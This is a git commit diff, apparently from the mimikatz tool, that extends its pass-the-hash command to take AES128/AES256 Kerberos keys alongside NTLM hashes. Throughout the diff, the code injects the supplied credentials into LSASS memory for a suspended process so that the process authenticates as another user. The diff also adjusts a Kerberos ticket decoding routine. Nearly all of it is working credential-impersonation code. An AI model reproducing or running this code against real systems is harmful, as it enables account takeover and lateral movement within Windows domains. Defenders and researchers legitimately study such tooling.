Pass-The-Hash enhancement for AES keys

This commit is contained in:
Benjamin DELPY 2014-05-11 01:43:43 +02:00
parent 3b0b875fe8
commit ba14c8b425
8 changed files with 127 additions and 115 deletions

View File

@ -462,38 +462,41 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR
NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[])
{
NTSTATUS status;
BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
DWORD i, j;
PCWCHAR szNtlm, szIn, szOut;
BYTE ntlm[LM_NTLM_HASH_LENGTH];
PCWCHAR szNtlm, szIn, szOut, szOffset, szSize;
PBYTE encData, decData;
DWORD encSize, decSize;
DWORD encSize, decSize, offset = 0, size = 0;
if(kull_m_string_args_byName(argc, argv, L"key", &szNtlm, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"in", &szIn, NULL))
{
kull_m_string_args_byName(argc, argv, L"out", &szOut, L"out.dec");
kull_m_string_args_byName(argc, argv, L"out", &szOut, L"out.kirbi");
kull_m_string_args_byName(argc, argv, L"offset", &szOffset, NULL);
kull_m_string_args_byName(argc, argv, L"size", &szSize, NULL);
if(kull_m_file_readData(szIn, &encData, &encSize))
{
if(wcslen(szNtlm) == (LM_NTLM_HASH_LENGTH * 2))
if(szOffset && szSize)
{
for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
{
swscanf_s(&szNtlm[i*2], L"%02x", &j);
ntlm[i] = (BYTE) j;
}
status = kuhl_m_kerberos_encrypt(KERB_ETYPE_RC4_HMAC_NT, KRB_KEY_USAGE_AS_REP_TGS_REP, ntlm, LM_NTLM_HASH_LENGTH, encData, encSize, (LPVOID *) &decData, &decSize, FALSE);
offset = wcstoul(szOffset, NULL, 0);
size = wcstoul(szSize, NULL, 0);
}
if(kull_m_string_stringToHex(szNtlm, ntlm, sizeof(ntlm)))
{
status = kuhl_m_kerberos_encrypt(KERB_ETYPE_RC4_HMAC_NT, KRB_KEY_USAGE_AS_REP_TGS_REP, ntlm, LM_NTLM_HASH_LENGTH, encData + offset, offset ? size : encSize, (LPVOID *) &decData, &decSize, FALSE);
if(NT_SUCCESS(status))
{
if(kull_m_file_writeData(szOut, (PBYTE) decData, decSize))
kprintf(L"DEC data saved to file (%s)!\n", szOut);
kprintf(L"DEC data saved to file! (%s)\n", szOut);
else PRINT_ERROR_AUTO(L"\nkull_m_file_writeData");
LocalFree(decData);
}
else PRINT_ERROR(L"kuhl_m_kerberos_encrypt - DEC (0x%08x)\n", status);
}
else PRINT_ERROR(L"Krbtgt key size length must be 32 (16 bytes)\n");
LocalFree(encData);
}
else PRINT_ERROR_AUTO(L"kull_m_file_readData");
}

View File

@ -93,8 +93,6 @@ typedef struct _KUHL_M_SEKURLSA_PACKAGE {
typedef struct _SEKURLSA_PTH_DATA {
PLUID LogonId;
PCWCHAR UserName;
PCWCHAR LogonDomain;
LPBYTE NtlmHash;
LPBYTE Aes256Key;
LPBYTE Aes128Key;

View File

@ -424,93 +424,96 @@ NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
{
BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
TOKEN_STATISTICS tokenStats;
SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, NULL, NULL, FALSE};
PCWCHAR szRun, szNTLM, szAes128, szAes256;
SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, NULL, FALSE};
PCWCHAR szUser, szDomain, szRun, szNTLM, szAes128, szAes256;
DWORD dwNeededSize;
HANDLE hToken;
PROCESS_INFORMATION processInfos;
if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL))
if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL))
if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
{
kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\n", szUser, szDomain, szRun);
if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH))
{
data.Aes128Key = aes128key;
kprintf(L"AES128\t: "); kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES128 key length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n");
}
if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH))
{
data.Aes256Key = aes256key;
kprintf(L"AES256\t: "); kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES256 key length must be 64 (32 bytes)\n");
}
else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n");
}
if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
{
if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH))
{
kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain);
kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH))
{
data.Aes128Key = aes128key;
kprintf(L"AES128\t: ");
kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES128 hash length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n");
}
if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH))
{
data.Aes256Key = aes256key;
kprintf(L"AES256\t: ");
kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES256 hash length must be 64 (32 bytes)\n");
}
else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n");
}
kprintf(L"Program\t: %s\n", szRun);
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
{
kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
{
if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
{
kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
kprintf(L" \\_ msv1_0 - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
kprintf(L"\n");
kprintf(L" \\_ kerberos - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
kprintf(L"\n");
}
else PRINT_ERROR_AUTO(L"GetTokenInformation");
CloseHandle(hToken);
}
else PRINT_ERROR_AUTO(L"OpenProcessToken");
if(data.isReplaceOk)
NtResumeProcess(processInfos.hProcess);
else
NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
CloseHandle(processInfos.hThread);
CloseHandle(processInfos.hProcess);
}
else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
data.NtlmHash = ntlm;
kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"Missing argument : ntlm\n");
else if(!(data.Aes128Key || data.Aes256Key)) PRINT_ERROR(L"Missing argument : ntlm\n");
if(data.NtlmHash || data.Aes128Key || data.Aes256Key)
{
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE))
{
kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
{
if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
{
kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
kprintf(L" \\_ msv1_0 - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
kprintf(L"\n");
kprintf(L" \\_ kerberos - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
kprintf(L"\n");
}
else PRINT_ERROR_AUTO(L"GetTokenInformation");
CloseHandle(hToken);
}
else PRINT_ERROR_AUTO(L"OpenProcessToken");
if(data.isReplaceOk)
NtResumeProcess(processInfos.hProcess);
else
NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
CloseHandle(processInfos.hThread);
CloseHandle(processInfos.hProcess);
}
else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
}
}
else PRINT_ERROR(L"Missing argument : domain\n");
}
else PRINT_ERROR(L"Missing argument : user\n");
return STATUS_SUCCESS;
}

View File

@ -68,9 +68,9 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN PKIWI_BASIC_SECURIT
pRef = (PBYTE) setList.list1 + FIELD_OFFSET(KIWI_CREDMAN_LIST_STARTER, start);
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_CREDMAN_LIST_STARTER)))
{
if(aLocalMemory.address = LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize))
if(aLsassMemory.address = listStarter.start)
{
if(aLsassMemory.address = listStarter.start)
if(aLocalMemory.address = LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize))
{
while(aLsassMemory.address != pRef)
{
@ -88,8 +88,8 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN PKIWI_BASIC_SECURIT
else break;
nbCred++;
}
LocalFree(aLocalMemory.address);
}
LocalFree(aLocalMemory.address);
}
}
}

View File

@ -222,7 +222,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
DWORD i, nbHash;
BYTE ntlmHash[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
BOOL isAes128 = FALSE, isAes256 = FALSE;
BOOL isNtlm = FALSE, isAes128 = FALSE, isAes256 = FALSE;
UNICODE_STRING nullPasswd = {0, 0, NULL};
KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory};
PKERB_HASHPASSWORD_GENERIC pHash;
@ -238,22 +238,24 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
{
if(nbHash = ((DWORD *)(aLocalKeyMemory.address))[1])
{
RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
if(isNtlm = (pthData->NtlmHash != NULL))
{
(*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE)
RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
(*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH);
}
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE)
{
if(isAes128 = (pthData->Aes128Key != NULL))
{
if(isAes128 = (pthData->Aes128Key != NULL))
{
RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH);
}
if(isAes256 = (pthData->Aes256Key != NULL))
{
RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH);
}
RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH);
}
if(isAes256 = (pthData->Aes256Key != NULL))
{
RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH);
}
}
@ -272,7 +274,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
RemoteLocalKerbSession.address = pHash->Checksump;
resultok = L"OK";
if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96))
if(isNtlm && ((pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && (pHash->Size == LM_NTLM_HASH_LENGTH))
{
aLocalNTLMMemory.address = ntlmHash;
offset = LM_NTLM_HASH_LENGTH;

View File

@ -45,14 +45,20 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY
if(RtlEqualString(&pCredentials->Primary, &PRIMARY_STRING, FALSE))
{
(*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
if(pthDataCred->pthData->NtlmHash)
{
RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isNtOwfPassword = TRUE;
}
else
{
RtlZeroMemory(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isNtOwfPassword = FALSE;
}
RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isLmOwfPassword = FALSE;
RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isNtOwfPassword = TRUE;
RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH);
pPrimaryCreds->isLmOwfPassword = FALSE;
pPrimaryCreds->isShaOwPassword = FALSE;
RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length);
RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length);
(*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
kprintf(L"data copy @ %p : ", origBufferAddress->address);

View File

@ -136,12 +136,12 @@ BOOL kuhl_m_sekurlsa_nt6_acquireKey(ULONG_PTR phKey, PKIWI_BCRYPT_GEN_KEY pGenKe
PVOID ptr, buffer, bufferHardKey;
ULONG taille; LONG offset;
if(NtBuildNumber < 8000)
if(NtBuildNumber < KULL_M_WIN_MIN_BUILD_8)
{
taille = sizeof(KIWI_BCRYPT_KEY);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY, hardkey);
}
else if(NtBuildNumber < 9400)
else if(NtBuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
{
taille = sizeof(KIWI_BCRYPT_KEY8);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY8, hardkey);

View File

@ -227,9 +227,9 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN ULONG_PTR reserved,
pRef = (ULONG_PTR) setList.list1 + FIELD_OFFSET(KIWI_CREDMAN_LIST_STARTER, start);
if(ReadMemory((ULONG_PTR) setList.list1, &listStarter, sizeof(KIWI_CREDMAN_LIST_STARTER), NULL))
{
if(buffer = (PBYTE) LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize))
if(pCur = (ULONG_PTR) listStarter.start)
{
if(pCur = (ULONG_PTR) listStarter.start)
if(buffer = (PBYTE) LocalAlloc(LPTR, credhelper[CredOffsetIndex].structSize))
{
while(pCur != pRef)
{
@ -247,8 +247,8 @@ void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_credman(IN ULONG_PTR reserved,
else break;
nbCred++;
}
LocalFree(buffer);
}
LocalFree(buffer);
}
}
}